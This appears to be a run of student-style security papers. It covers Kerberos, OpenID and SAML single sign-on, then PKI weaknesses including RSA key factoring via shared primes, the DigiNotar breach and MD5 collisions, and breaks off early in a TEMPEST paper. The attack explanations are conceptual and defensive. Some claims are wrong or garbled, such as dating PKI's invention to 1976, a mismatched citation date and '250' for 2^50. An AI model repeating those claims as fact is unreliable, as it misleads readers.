authentication delegation. Because of the session key that
only the service and user will know, Kerberos is a step
stronger in eliminating any impersonation. And in this
authentication protocol, delegation is support which means
authentication can be forwarded from one machine to
another. This allows a service that a user is communicating
with can forward a ticket sent from user to another service
and authenticate with it without the user having to retransmit
anything.

4) Kerberos eliminates the need to transmit unencrypted
passwords across the network. Because KDC resides on a
domain controller on a network, all the user’s password are
stored on the server. There is no need for the user to send his
password over the network but instead, the user can use his
password as his private key to encrypt message that he send
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to the KDC. This message can only be decrypted by the
KDC, because it has the user’s password stored in its
database, and the user himself. Therefore, this authentication
method removes the need to transmit users’ password over
the network to identify themselves.

5) It supports usage of smart card. The usage of smart cards
has been thought to be a much stronger authentication
method. This is because using a smart card authentication
system provides a two-factor authentication system. In order
to log on to a network, the user must have the physical smart
card with him. This means any attacker who tries to attack
via stealing the user’s password will definitely fail because
he is unable to obtain the smart card from the user. This two-
factor authentication improves security for user identification
and Kerberos is able to work along with it.

2.9.2 Weaknesses
Implementing Kerberos also have the following drawbacks and
limitations:

1) The entire authentication technology will have a single
point of failure, which is the KDC. If the Kerberos server is
down, no one is able to log in. This can be avoided by using
multiple Kerberos servers as backup. Because the KDC has
records of all the client’s password hash, if it gets taken over
by an attacker, the entire authentication system will be at
risk.

2) Management issues of keys of multiple services. Every
network service requires its own set of Kerberos keys on
different host names. This will increase the complications
when dealing with large number of services.

3) Untrusted users are not given access. Only users that have
accounts and have their informations stored on the Kerberos
server can be granted access. Users who are unknown are
classified as untrusted and are usually denied access to the
resources.

4) Individual nodes in the network can be compromised if
the local machine is infected with a malware that can capture
user passwords on the machine. One way of avoiding this
problem is to implement user logon using smart card.

3. OPENID
3.1 What is OpenID?
OpenID is based on the motivation to provide a protocol that
allows one user to sign in to many websites using one digital
identity. It is an open standard that is being continuously
improved on and the current standard is called OpenID Connect,
which is built on top of OAuth 2.0. However, this paper covers
the older OpenID standard.

In the OpenID architecture, 3 major roles are involved:

1) End User: A human user who controls his identifier URL
(similar to a username) and wants to prove his identity to the
Relying Party

2) Identity Provider: An OpenID authentication server which
holds the End User's identity and is able to make an assertion
that the End User controls his identity URL to the Relying
Party

3) Relying Party: A web application which is OpenID-enabled
and which wants to verify that the End User controls his
identifier URL

OpenID uses a decentralized architecture in which there is no
single identity provider or authority that stores all digital
identities. Instead, any individual or organization can register to
be an Identity Provider.

An End User has the choice to select and create an account with
any Identity Provider to store his digital identity. Upon creating an
account, the End User will receive his unique identifier URL that
is tied to the identity provider. This identity URL can be
considered as the OpenID username which the End User will
supply to the Relying Party during sign on. Usually, a typical web
user would not need to go through the process of creating an
OpenID account explicitly. This is because most likely they
already have an account with large websites, such as Google and
Yahoo!, which provides an OpenID identifier for their users.

The Relying Party does not persist any authentication information
about the End User. That is it does not keep track of their user’s
username and password. This is made possible by the OpenID
process which is described in the next section.

3.2 Overview of the Authentication Process
To simplify description, in this section it is assumed that the End
User is using a web browser as the User-Agent.

(1)

(2)

(3)
(4)

(5)

(6)

End User (Browser)

Relying Party Identity Provider

Figure 2. OpenID Authentication Process

1) The End User, who wants to access the services provided by
the Relying Party, initiates authentication by presenting his
identity URL through his browser to the Relying Party.

2) The Relying Party sends an authentication request to Identity
Provider. 2 of them establishes a secret using HTTPS.

3) The End User’s browser is redirected to the Identity
Provider’s authentication page.
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4) The End User submits his credential to the Identity Provider
for verification.

5) The Identity Provider authenticates and redirects the End
User’s browser back to the Relying Party with an
authentication response that asserts if the authentication is a
success or a failure.

6) The Relying Party validates the authentication response from
the Identity Provider by checking the Return URL, the nonce
value and the signature.

In this process, the End User only supplied his credentials to the
Identity Provider. The Relying Party allows the End User to
access its services under the positive assertion given by the
Identity Provider.

3.3 OpenID as a Web-Based SSO Standard
The main goal of OpenID is to provide users with the ability to
authenticate themselves using a single consolidated identity, but it
is not apparent that it is also a web-based SSO standard. During
web browsing, the HTTP (Hypertext Transfer Protocol) is used to
communicate between clients and servers. However, HTTP and
HTTPS are stateless protocols which does not persists information
between each requests. This problem is overcame by the use of
cookies and sessions.

After the initial authentication, the Identity Provider will
remember the authentication session for some predetermined time.
Now supposed the End User visits another website that is
OpenID-enabled, upon clicking the sign in button, the Relying
Party can send a checkid_immediate request to the Identity
Provider and silently authenticate the End User. A
checkid_immediate request allows the Identity Provider to
authenticate the End User without user interaction, and this
technique allows OpenID to perform SSO. Then the Identity
Provider will verify the authentication session and returns a
positive assertion for the Relying Party to permit the End User to
access its service.

3.4 Security Analysis of OpenID
OpenID brings convenience to end users and developers but since
it is a web-based protocol, there are also many security concerns.
This paper discusses the strengths and weaknesses of OpenID in
this section.

3.4.1 Strengths
1) OpenID account users only need 1 account to access all

OpenID- enabled websites. This eliminates the mundane
process of making multiple account for each websites that the
user needs to be authenticated. According to Ofcom's
"Adults' Media Use and Attitudes Report 2013" report1, a
poll of 1805 adults aged 16 and over discovered that 55% of
them used the same password for most websites. This shows
that in order to remember passwords easily, many users

1 UK adults taking online password security risks. 23 Apr 2008.

choose to use the same password for various account. Instead
of doing that, OpenID has the benefit of consolidating these
accounts into 1 OpenID identity URL and 1 OpenID
password.

2) Web developers can embrace the authentication
framework that OpenID provides. With OpenID, web
developers do not need to design their authentication system
from ground up. Using an open standard that is constantly
tested and vetted by many security experts, the vulnerabilities
and exploits of OpenID protocol can be discovered and
rectified quickly. Furthermore, since the authentication is
external to the website, patches done by the Identity Provider
is transparent to web developers. Hence, this saves valuable
time and effort of creating and maintaining a custom
authentication system.

3) Decentralized nature of OpenID brings benefits to its
adopters. If 1 identity provider is compromised, the other
providers can still be trusted. The Relying Party only needs
to block those less trustworthy providers from being used to
authenticate users. On the other hand, if the Relying Party is
compromised, no authentication information about the users
are stolen or lost.

4) OpenID is a web-based SSO. This means that users only
need to sign-in once and get authenticated automatically
across many OpenID-enabled websites.

3.4.2 Weaknesses
1) The OpenID authentication framework is built upon

trust. The End User must trust the Relying Party. If the
Relying Party is malicious or compromised, it can redirect
the End User to a fake Identity Provider (which is also
created and owned by the malicious party) where they can
phish for OpenID credentials. Therefore it is always
important to check that the URL of the authentication page
before submitting any credentials.

Figure 3. Facebook Password Prompt when Deleting Account

2) The usage of OpenID also posed another security
problem of re-authenticating the End User. Consider the
scenario where a user attempts to close and delete his
account from the website. A secure website like Facebook
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will require the user to re-authenticate himself by entering his
password again to confirm (Figure 3). However, for a
website that fully depends on OpenID authentication cannot
perform that confirmation. This is because even if the
Relying Party requests for re-authentication, the Identity
Provider will automatically return a positive assertion if the
authentication session is still valid. This is actually an
inherent problem of SSO.

3) Another issue with OpenID is that most users are also
confused about how to use OpenID. According to an
exploratory study2, most participants did not know that their
OpenID identity is in a form of URL and many entered their
email addresses instead. This brings to the problem of
OpenID identity URL. The identity URL does not have a
standard format.

For example, LiveJournal OpenID URL is in this form:

http://<username>.livejournal.com

And Google Accounts uses:

https://www.google.com/accounts/o8/id

Some user-friendly websites like StackOverflow provides a
list of popular Identity Provider (Figure 4) to overcome this
problem, however there are poorly designed websites that do
not provide such convenience (Figure 5).

Figure 4. OpenID Selector in StackOverflow.com

2 Sun, S.T., Pospisil, E., Muslukhov, I., Dindar, N., Hawkey, K.
and Beznosov, K. 2011. OpenID-enabled browser: towards
usable and secure web single sign-on.

Figure 5. A Plone CMS website without OpenID Selector

4) Single point of failure in OpenID authentication. As
OpenID identity is the master key to all associated websites,
if the identity is stolen, the security impact will be great.

4. SAML
SAML (Security Assertion Markup Language) is an XML-based
framework for communicating user authentication and
authorization data between security domains, in particularly, an
identity provider and service provider. SAML is mainly used in
implementing web browser single sign-on allowing secure access
to websites and other resources without requiring more than one
authentication.

4.1 How does SAML work?
4.1.1 The Three Roles
In SAML, there are 3 roles involved in a authentication process.
Namely, the User, Identity Provider (IdP) and the Service
Provider (SP).

4.1.2 The Use Case

Figure 2. Illustration of SAML used in Google Apps
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In a use case of a web browser single sign-on, a user requests a
service or application from a SAML service provider. The service
provider, then issues a request to authenticate the user to a SAML
identity provider through the user. In this example, we are using
SAML 2.0

1) Request of target resource: The user requests for resource
at the service provider with

https://sp.example.com/resource

2) Service provider redirects user to the preferred identity
provider for the SSO service:

https://idp.example/org/SAML2?SAMLRequest=request

3) Request for SSO service at identity provider: The user
sends a GET request to the SSO service at the identity
provider with the value of the SAMLRequest parameter of
the URL from step 2. The SSO service processes the
AuthenRequest and performs an authentication.

4) Identity provider respond with XHTML form:
<form method="post"
action="https://sp.example.com/SAML2/SSO/POST"
...>

<input type="hidden" name="SAMLResponse"
value="response" />

...

<input type="submit" value="Submit" />

</form>

5) User request Assertion Consumer Service (ACS) at the
service provider: The user sends a POST request with a
SAMLResponse parameter from step 4.

6) ACS redirects the user to the target resource: After
processing the response, the ACS creates a security context
at the service provider and redirects the user to the target
resource.

7) The user requests the target resource (again):
https://sp.example.com/resource

8) Service provider responds with request resource: Since
the user is authenticated, the service provider gives the
requested resource to the user.

4.2 SAML Anatomy
4.2.1 Assertions
A SAML assertion contains a packet of security information,
usually transmitted between identity providers and service
providers. An assertion contains 3 types of statements:

1. Authentication
2. Attribute
3. Authorization decision

Authentication statements asserts that the user has been
authenticated with the identity provider.

Attribute statement asserts that the user is given a certain set of
attributes, which is a name-value pair. These attributes can be
used to determine the user’s access-control permissions.

Authorization decision statements asserts that the user has the
permissions to perform certain actions on resources.

4.2.2 Protocols
SAML Protocol describes how SAML information such as
assertions re-packaged into SAML request and response elements.
It also determines the processing rules that SAML entities must
follow when creating or using these informations.

4.3 Security Analysis of SAML
4.3.1 Strengths
Using SAML has different benefits for different groups. It allows
for software and security to be developed and incremented
independently. Some benefits of SAML are:

1) SAML makes the security design and application logic
independent of each other which an important principle of
service-oriented architecture.

2) Less coupling of databases as user information does not need
to be synchronized between them.

3) Faster and better user experience online as users only need to
authenticate themselves once and be able to access many
websites.

4) Risk transference by pushing responsibility for proper
management of user identities to identity provider.

4.3.2 Weaknesses
SAML does not specify how security is implemented in the
transmission of data or how securely protected the identity
provider is. Thus a badly implement SAML could be disastrous.

1) SAML does not determine how secure the identity provider
is and have no way of knowing how weak it is

2) Web forms in which user enter credentials must be securely
constructed or it can be easily hacked by hackers and the
system will be compromised.

3) No standardization for signing XML assertions. Certificates
sources cannot be verified.

4) No standardize and enforced logging.

5. CONCLUSION
After analyzing and evaluating the strength and weakness of
various SSO authentication methods, we conclude that different
computer networks and systems calls for different methods of
authentication. The system engineer must estimate the use of the
system and management and select a suitable SSO solution, and at
the same time be informed of the strength and weaknesses of the
chosen method. If not, it can create security vulnerabilities in the
system.
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ABSTRACT 

The objective of this paper is to address the issues leading to 

insecurity worries with PKI. The issues that will be mentioned in 

this paper will include preventive measures. 
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E.3 [Data Encryption]: Public key cryptosystems. 
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Security 
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1. INTRODUCTION 
The Public Key Infrastructure (PKI) is a framework that addresses 

security concerns of the Internet and provides users a more secure 

networking environment. It issues digital certificates which hold 

information of the public key via a certificate authority (CA). 

Thus the digital certificates allow secure exchange of information 

across the net.  

2. BACKGROUND OF PKI 

2.1 History of PKI 
PKI was developed in 1976 by two mathematicians, Whitfield 

Diffie and Martin Hellman. They came up with the concept of 

asymmetric cryptography which makes use of one private key and 

one public key for encryption and decryption. In 1978, three other 

mathematicians Ron Rivest, Adi Shamir, and Leonard Adleman 

had the similar idea. This idea then formed the RSA algorithm. 

2.2 Public Key Cryptography 

 

Figure 1 

PKI enables authentication for emails, servers, and the likes. It 

makes use of the public key cryptography, also known as 

asymmetric cryptography, to provide secure means of 

communication. It makes use of two keys, a public key and a 

private key. As illustrated by figure 1, when one wants to send an 

encrypted message, he will encrypt it with the public key of the 

recipient before sending it to the recipient. The recipient of the 

message has his own private key which he will use to decrypt the 

message. As the recipient is the only person with the private key, 

no one else will be able to decrypt the message except him. The 

public and private key pair is generated based on the difficulty of 

factoring a product of two large prime numbers and this makes it 

impossibly hard for malicious persons to attack a system. Even 

though it is a difficult task to attack the system, it becomes easy 

when the attacker knows the private key. Thus, it is important that 

the private key be kept secure. 

2.3 How Does PKI Work 
In the PKI, there is a Registration Authority (RA) and Certificate 

Authority (CA). When a user requests for a digital certificate, the 

RA will authenticate and verify the user’s identity and credentials. 

After which, the RA will pass on to CA to assess and issue the 

digital certificate. A key pair is generated based on algorithms 

such as RSA or DSA. The RA will make sure that the public key 

is bound to the user’s identity, which must be unique in the CA’s 

domain. This digital certificate is then used to verify the identity 

of clients and servers on the web. This allows users to browse the 

web securely as it prevents the man-in-the-middle attack. 

When a user connects to a secure website, the website sends its 

digital certificate which is signed by a CA to the user’s browser. 

This digital certificate as mentioned earlier, holds the public key 

as well as the information needed (figure. 2) to verify that the 

website is legitimate. The user’s browser which is preinstalled 
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with a list of valid and trusted authorities will then allow the 

connection to take place when the particular CA is trusted. The 

user will then be able to encrypt his data using the public key that 

is sent through the certificate. The recipient will then decrypt the 

data using the private key that is only known to him. 

 
Figure 2: Certificate from https://internet-banking.dbs.com.sg 

2.4 Known Examples of Public Encryption: 

RSA 
The RSA is a cryptographic system and it is popularly used for 

secure data transmission. This cryptographic system achieves 

asymmetry through the idea that it is extremely difficult to factor a 

product of two large prime numbers. While keeping the two large 

prime numbers secret, the public key and private key are 

generated through a series of calculations with the result of the 

public key being the semiprime along with an auxiliary value e 

known as the public key exponent and the private key being the 

semiprime along with another value d, known as the private key 

exponent. While the semiprime and the public key exponent are 

released for encrypting purposes, the private key exponent d and 

the two large prime numbers used for the generation of the key 

pair are kept secret. The RSA is secure as long as there are no 

efficient ways towards factoring the public key. 

2.5 Failures of PKI 
Although PKI is used to ensure a secure networking environment, 

there are still flaws in the infrastructure. In this paper, we would 

be focusing on the following security issues that the PKI has:  

1. Duplicate Public Key 

2. Factorable Public Keys 

3. Collision Attacks 

4. Trust Establishment Problem 

3. SECURITY ISSUE #1: DUPLICATE 

PUBLIC KEY PROBLEM 

3.1 Overview 
The duplicate public key problem is a situation that arises when 

systems that use PKI share the same public key. This could 

happen under the following two occasions:  

1. random numbers that are used for key formation are 

poorly generated  

2. some systems preconfigure manufacturer-default keys 

for every device of a given model  

A study by computer scientists from the University of California, 

San Diego and the University of Michigan found that 5.57% of 

TLS hosts and 9.60% of SSH hosts from their scan of 12,828,613 

TLS hosts and 10,216,363 SSH hosts, share public keys due to the 

above mentioned situations. Most of these shared public keys 

belonged to embedded systems. These include devices like 

routers, server management cards, firewalls and some other 

network devices.  

Random numbers are vital to cryptography. Random numbers 

when used as keys increases the difficulty for an attack. Hence it 

is optimal for a random number that is generated for the 

generation of a public and private key pair be truly random rather 

than pseudo random. Most systems today use a random number 

generator to generate numbers that appear random. While some of 

these generators are cryptographically secure, others tend to have 

predictable output after some time. This is largely due to the 

repeat of its number sequence and its limited range of output 

numbers as a result of limited memory capacity of the systems. 

The lack of randomness in the numbers leads to a possible 

problem of having some systems sharing the same public key. 

Manufacturer-default keys can create security vulnerabilities when 

users do not make changes to the keys. Furthermore, this problem 

is amplified when certain models have all of its devices share the 

same key pair. More than 93% (670,391) of vulnerable duplicated 

keys used in TLS hosts are due to manufacturer-default keys. 

3.2 Why Is This a Problem 
Repeated public keys are a problem because if two devices share 

the same public key, they would be sharing the same private key 

as well. The lack of randomness in key generation and the use of 

manufacturer-default keys make it easier for attackers to obtain 

the systems’ private keys. With the private key, adversaries would 

have the ability to decrypt messages or to pose as others. 

In the case for the lack of entropy, the key pair becomes 

predictable for attackers. Also when public keys are repeated, 

attackers would only need to jeopardise the weakest one of these 

devices in order to retrieve the repeated private key that protects 

all models of the same device. The private keys to devices that 

share the same public key could also be retrieved through reverse 

engineering and through databases like the LittleBlackBox which 

is a collection of thousands of private keys extracted from various 

embedded devices. 

3.3 Preventive Measures 
Random numbers used for key generation should use information 

from physical sources through the operating system like the 

movements of the mouse or the timing for keystroke. 
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Manufacturer-default keys or certificates should be avoided. Such 

keys provide only little protection. Devices should be initialised 

with truly random seeds when produced. Lastly, hardware random 

number generators like hardware security modules (HSM) should 

be used when possible. These would allow the random number 

generation to be stronger and thus preventing a situation of 

duplicated public keys. 

4. SECURITY ISSUE #2: FACTORABLE 

PUBLIC KEYS 

4.1 Overview 
Poor randomness can also result in a problem particularly for 

RSA keys. When keys are generated from a source of low entropy, 

the Ps and Qs used for generating the semiprime required in a 

RSA key-pair would be limited. This results in a possibility where 

various semiprimes could share the same Ps or Qs. This allows 

adversaries to easily obtain the shared factor by simply finding the 

greatest common divisor between the two different public keys. 

By obtaining the shared factor, the attacker could then easily 

obtain the other factor by division and thus breaching the private 

key. 

From the same study by computer scientists from the University 

of California, San Diego and the University of Michigan, they 

found that 64,000 (0.50%) of the TLS hosts and 108,000 (1.06%) 

of the SSH hosts have public keys that share the same factor.  

4.2 How Is It Done 
Let N1 and N2 be two different RSA public keys. 

N1 = pq 

N2 = p’q’ 

If p = p’, 

GCD(N1, N2) = p 

N1 / p = q 

N2 / p = q’ 

However, computing the greatest common divisor of two 1024-bit 

RSA moduli could take up more than 20 years of computation 

time. So what was done in this study was that they used an idea by 

Dan Bernstein by computing the greatest common divisor of each 

RSA key against the product of all the other keys. This allowed 

them to factor the TLS data in eighteen hours using a single core 

CPU and about four hours for the SSH data using four cores. 

4.3 Preventive Measures 
Similar to the problem with duplicated public keys, to prevent 

factorable RSA keys, numbers used to generate the public key 

should be truly random. Also, certificate authorities should check 

for duplicated and factorable keys while users should make 

changes to default generated keys. 

5. CASE STUDY: BREACH OF 

DIGINOTAR CA 

5.1 Overview 
Regarding the above examples of how private keys can be 

breached, we now look at an actual event when the certificate 

authority, Diginotar, was attacked and made to issue fraudulent 

certificates by having its private keys abused. 

The incident began on July 10, 2011 when an attacker who 

hacked into Diginotar’s systems handled out a wildcard certificate 

for Google. The wildcard certificate is a public key certificate 

which secures a website URL along with all of its subdomains. 

The certificate was then used to perform a man-in-the-middle 

attack against internet users using Google services in Iran. On the 

27th of August, an Iranian user discovered that gmail.com was 

operating under a false certificate after receiving a security 

warning from his Google Chrome browser. After this certificate 

was made known, more bad certificates were found. These 

certificates include those for domains of mozilla.org, yahoo.com, 

wordpress.com, cia.gov, microsoft.com and windowsupdate.com. 

Finally with more than 500 fraudulent certificates found and 

having all popular browsers blacklisting certificates from them, 

Diginotar was hacked out of business and declared bankrupt. 

5.2 How It Could Have Been Prevented 
Firstly, Diginotar had kept the breach secret. It was until Google 

discovered the bad certificate that Diginotar admitted to the 

breach. If Diginotar had informed the government and their 

clients when they have discovered the attacks on their systems, 

this incident could have been less catastrophic. Secondly, 

Diginotar had little security measures on their systems. They did 

not use virus scanners. The web servers, the servers used for 

generating certificates and the users workstations all belonged to 

one same network. Most importantly, Diginotar had web servers 

that were running on outdated and susceptible versions of 

DotNetNuke, a web content management system. These web 

servers allowed the attacker to gain entry into Diginotar’s 

network. 

5.3 Consequences 
The attack was mainly targeted at internet users in Iran. The 

fraudulent certificates allowed the attackers to meddle and spy on 

connections. The attack on Google services for instance allowed 

the attacker steal users’ passwords and accounts. The attack on 

domains like addons.mozilla.org and microsoft.com could result 

in users getting malicious software installed on their computers. 

Eventually an investigation by Fox-IT, a Dutch consultancy 

company, concluded that more than 300,000 Iranian users had 

their internet monitored. On top of it all, the breach led to people 

questioning the security and trustworthiness of the public key 

infrastructure. 

6. SECURITY ISSUE #3: COLLISION 

ATTACKS ON MD5 

6.1 Overview 
A collision attack on a hash is when an attacker attempts to find 

two inputs that produces the same hash value. The algorithms for 

digital signatures are usually inefficient in signing large amounts 

of data. Thus, the size of the data that needs to be signed is 

usually compressed by using a hash function. Most public key 

certificates, like the SSL certificates, require hashing of data and 

hence are susceptible to collision attacks. 

MD5 is a popularly used hash function that produces a 128-bit 

hash value and was used in the creation of X.509 digital 

certificates. Since 1996, the MD5 hash function was announced to 

be insecure. However it was until 2005, when it was demonstrated 

that collision attacks on MD5 allowed the creation of two X.509 
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certificates that had the same signature only differing in their 

public keys, that MD5 become largely avoided by cryptographers.  

The particular collision attack used on the MD5 was the chosen-

prefix collision attack. In this attack, the attacker would choose 

two different documents and then concatenate different values that 

would result in the entire documents having the same hash value. 

A chosen-prefix collision attack was found in 2007 that required 

roughly 250 evaluations of the MD5 function. As compared to the 

evaluations needed based on the birthday attack, 2n/2 where n = 

128, the chosen-prefix collision was shown to be much more 

efficient hence making MD5 more vulnerable to attacks. 

6.2 Consequences 
The existence of a collision attack showed that certificate 

validation operated by browsers could be sabotaged and malicious 

attackers might be able to spy on or modify data sent to secure 

websites. This would particularly put websites that hold 

information of high value like banking and e-commerce websites 

at risk. Banking and e-commerce websites are secured by the 

HTTPS protocol. A bad certificate would allow attackers to 

perform phishing attacks against these sites without being noticed. 

6.3 Preventive Measures 
Many cryptographers have since then shifted to using the SHA-1 

hash function (160-bit hash value). Over the past few years, many 

have published hash collisions on the SHA-1. As such, the 

National Institute of Standards and Technology (NIST) has started 

working on possible replacements for the SHA-1. Theoretically, 

the best solution would be to create a hash that makes collisions 

impossible. However in reality, the best solution would still be for 

the security environment to always adapt to new changes. 

7. SECURITY ISSUE #1: TRUST 

ESTABLISHMENT PROBLEM 

7.1 Overview 
With the attacks on various certificate authorities and fraudulent 

certificates created by flawed hashes, it makes people wonder how 

they could trust the public key infrastructure. With over 100 

certificates pre-installed on our local computers, how could we be 

sure that one of them would not up like Diginotar?  

As discussed earlier, a certificate authority is a trusted third party 

by both the owner of the certificate and the user relying upon the 

certificate. It is the certificate authority’s responsibility to certify 

the identities of organisations and individuals and also give 

assurance that public keys and private keys do belong to these 

individuals. Ultimately, the certificate is used to allow secure 

connections to servers over the internet. Thus if a certificate 

authority is sabotaged, the security of the whole system would be 

lost. For instance, a certificate authority could have issued a good 

certificate to a harmful site after a poor check on the site’s 

credentials. This would then allow the harmful site to appear 

secure to users who visit the website and perform attacks like the 

man-in-the-middle attack on these unsuspecting victims. 

7.2 Ways to Improve Trust 
An idea on how to improve the trust in PKI would be through the 

use of Multiple Certificate Signatures (MCS). By MCS, each key 

pair has to be signed by two or more certificate authorities. This 

would also mean that people should not trust keys that are signed 

by only one certificate authority. In the above mentioned case of 

the breach of Diginotar, the fraudulently created certificates 

signed by Diginotar would not have been trusted by users. This 

would then provide greater security for the user’s privacy and 

data. 

The use of Multiple Certificate Signatures also requires the 

certificate authorities to be from different root CAs. This must be 

achieved so that the compromise of the root certificate authority 

would not imply the compromise of the other certificate 

authorities that are required to fulfil the signatures on the 

certificate. Hence this increases the difficulty for an attacker to 

create a bad certificate as he would then have to attack all the 

certificate authorities involved in the generation of the certificate. 

8. ALTERNATIVE METHOD TO PKI: 

WEB OF TRUST 

8.1 Overview 
The Web of Trust has a very different system as compared to PKI. 

While PKI has a strict order where only the CA can verify the 

digital certificate, the Web of Trust is more flexible. Imagine a 

platform of users and every one of them are connected to one or 

more users and the way they are connected is through trust. In a 

web of trust, each user and private key combination has a unique 

signature. From the public key, a user can use it to verify if the 

signature and message of his peer is authentic and not forged. 

This can then prevent man-in-the-middle attacks.  

8.2 How Does It Work 

 

Figure 3 

Referring to a web of trust in figure 3 above, A has signed keys of 

B and C before and thus trusts their certificate and can verify if 

their certificates are authentic. Whereas, B and C has signed keys 

of D and trust D’s certificate too. If there is a scenario where A 

wants to send a message to D, A will ask users he trust if they 

know D. B and C, both whom A trusts, knows D and sends A a 

copy of D’s certificate. From the copy, A can see that both B and 

C has signed and validated D’s certificate and they both trust that 

D’s identity is not forged. Once A decides to trust D’s certificate, 

A can then use the public key from D’s certificate to encrypt the 

message key. As D does not know A too, D will do the same 

process as A and find trusted users who knows A. Upon 

validating and trusting A’s certificate, D will then decrypt the 

message key with his private key. The decrypted message key will 

then be used to decrypt the message. Now that A and D both 

verified each other’s certificates, they can trust each other because 

of their mutual peers.  
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9. CONCLUSION 
PKI is an excellent system which can ensure security in 

transactions on networks. However, it also has its own set of 

flaws. In this paper, we had listed out the set of flaws PKI has and 

what can be done to prevent these from happening. There can be 

alternative methods to PKI such as the web of trust. Ultimately 

how secure PKI is, is largely dependent on the implementation of 

it and how the implementation is able to adapt to changes. 
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ABSTRACT 

This paper will first look at the techniques used to carry out 

TEMPEST attacks on different electronic devices. It will then 

explore the existing methods that have been used to provide 

protection and prevention against such attacks.  
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1. INTRODUCTION 
It has been known that electronic devices constantly emit 

electromagnetic (EM) radiation which may be harmful to our 

health. However, what could be as dangerous, is that these same 

signals may also carry information and data that was processed by 

its source. The technology to monitor, analyse and protect against 

such unintended EM emanations from electronic devices is known 

as TEMPEST [4]. Since 1950, the threat of TEMPEST attacks has 

been a cause for concern for military and governmental 

organisations [5]. 

The main concern about TEMPEST attacks is the risk they pose to 

sensitive and classified information. When processing or 

accessing classified information from an electronic device, 

information may be leaked through unintentional EM waves 

emanated from the hardware, creating a window for interception 

through a side-channel attack. The attack can be achieved using 

TEMPEST, which can capture and reconstruct data from these 

emanations [4]. This can potentially render software encryption or 

other non-TEMPEST related defensive measures, irrelevant [17]. 

Due to its non-invasive nature, a TEMPEST attack may continue 

to go unnoticed for long periods of time. If a breech has been 

discovered, physical devices will have to be replaced to prevent 

further attacks, a costly operation [15]. Moreover, TEMPEST 

certified equipment are expensive as they must ensure that 

components within the equipment as well as components 

connected to external equipment are completely shielded against 

TEMPEST attacks [5]. 

2. REPORT OBJECTIVE 
This report aims to discover how TEMPEST attacks have been 

carried out, as well as to look at the existing methods that have 

been tested to protect against such attacks.  While doing so, the 

principles behind these topics as well as an assessment of their 

limitations will be mentioned. 

3. BACKGROUND OF TEMPEST 

3.1 What is TEMPEST 
The term 'TEMPEST was coined by the NSA to refer to the 

technology which can monitor and shield devices emitting EM 

radiation that can be reconstructed to obtain data. In 1950, the 

TEMPEST program was set up to specify and standardise 

TEMPEST requirements and technologies. It also provides a 

Certified TEMPEST Products Program for TEMPEST products as 

well as TEMPEST test programs. [4, 5] 

3.2 TEMPEST Certification and ZONES 
The current U.S. standard that specifies the test requirements for 

Tempest protected equipment is called NACSIM 5100A, and its 

North Atlantic Treaty Organization (NATO) equivalent is referred 

to as AMSG 720B. The US standard of TEMPEST certification, 

NACSIM 5100A, was created after the original standard which 

was published in the 1950s underwent a few revisions over the 

years [5]. Currently, the specifics of these standards and their tests 

are classified – their documents are only available on a need-to-

know basis to either vendors who develop TEMPEST certified 

equipment or personnel who are required to adhere to setting up 

spaces which are TEMPEST-protected [18]. 

As of today, the United States and NATO have 3 additional 

standards for TEMPEST products defined by zones [4, 5, and 16]. 

These zone standards were defined to help organisations reduce 

the cost spent on purchasing TEMPEST equipment. Previously, 

TEMPEST equipment was only certified based on United States’ 

NACSIM 5100A standard. These were strict specifications and, 

were challenging and costly to comply to. A quick look up on 

TEMPEST equipment reveal that they may cost up to 80% more 

than non-TEMPEST equipment [5]. Zoning will allow less 

effective TEMPEST protection to be considered only in areas 

where the risk relatively lower [4]. 

Standards classified by zones define different levels of 

requirements according to the risk levels of their respective zones, 

which are in turn, defined by the accessibility of attackers to these 

equipment [18]. As TEMPEST signals are much stronger and 

easier to pick up when one is near the device, equipment placed in 

high-risk zones will have to comply with stricter requirements.  

Zones and brief descriptions of them are described below.  

NATO SDIP-27 Level A. NATO SDIP-27 Level A is the strictest 

standard for devices which are supposed to operate within NATA 
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Zone 0 environments. This zone assumes that an attacker can have 

almost immediate access to the device [18]. 

NATO SDIP-27 Level B. For devices in NATO Zone 1 

environments, it is assumed that an attacker cannot get within a 

certain range of the device, or where building materials ensure an 

attenuation equivalent to the free-space attenuation of that 

distance [18]. 

NATO SDIP-27 Level C. A more relaxed standard for devices 

meant to operate in NATO Zone 2 environments. Zone 2 

environments assume that attackers will have to overcome a 

longer distance of free-space attenuation [18]. 

4. TEMPEST ATTACKS 
The method used to obtain information using TEMPEST is 

composed of three steps: detecting and capturing signals emanated 

by the target device, improving the quality and readability of the 

signal and processing these signals to retrieve the data that it 

carries. 

In the employment of TEMPEST capabilities, there are two key 

challenges. Firstly, detection of the signal of interest against noise 

generated by other devices and atmospherics in the environment is 

difficult if the tools used were not sensitive enough. This problem 

is further compounded by the increasing usage of digital devices, 

which add to the noise threshold of the environment being 

monitored and possibly obscure the desired signature. Secondly, 

the accuracy of data reconstruction is dependent on how much 

knowledge an attack knew about the target device. In order to 

reconstruct the data, adequate samples must be taken and stored to 

build up a database of the signatures generated by the data in 

transit.  

4.1 Sources of EM Emanations 
Before one can execute or defend against a TEMPEST attack, it 

will be useful to have an understanding of how EM emanations 

are generated in the first place.  

Electrical devices contain many components which are composed 

of miniature circuits. EM waves arise when current flowing within 

an electronic circuit circuits generate a pair of electric and 

magnetic fields related to each other by Maxwell's equations. This 

may occur when there is unintentional electrical coupling between 

parallel cables. When this happens, EM waves are created, and 

they can be transmitted by an antenna to be received by another 

antenna. Data signals can leak out when this process occurs in 

signal cables, which also form natural antennas that will broadcast 

the signals [7]. 

4.2 Radiation of EM Emanations 
An antenna is a device that is used to convert electric current into 

radio signals and is able to transmit and receive them. It works 

when a transmitter supplies an oscillating frequency along a 

conductor, which in turn radiates the energy in the form of 

electromagnetic waves. In the case of EM emanations, data 

signals with their characteristic wave forms propagate along wires 

within computer components. These will then act like antennas, 

radiating modulations of the carrier signals generated by the 

computer parts [7]. Other types of antennas may also include 

reflective elements, directive elements and surfaces not connected 

to the transmitter or receiver. For example, other conductors in 

close proximity will be able to capture, conduct and retransmit 

these signals, amplifying them such that they can be detected from 

a further distance. This includes power and ground lines, 

peripherals and network cables [9]. 

4.3 Capturing EM Emanations 

4.3.1 Identifying Patterns and Usable Signals 
In order to identify usable signals, a wide band receiver is used to 

scan over a range of possible frequencies to search for signals of 

interest. Since most forms of emanations are broadband signals, 

the antennas should not be searching for exact frequencies [10]. In 

particular, we are interested emanations carrying signals generated 

by plaintext data.  

EM emanations can be obtained from a variety of sources. Signals 

are usually obtained from components that contain accessible 

signals which were supposedly inaccessible. These are usually 

obtained from components which interact directly with users for 

input or output of information. Such examples include monitors, 

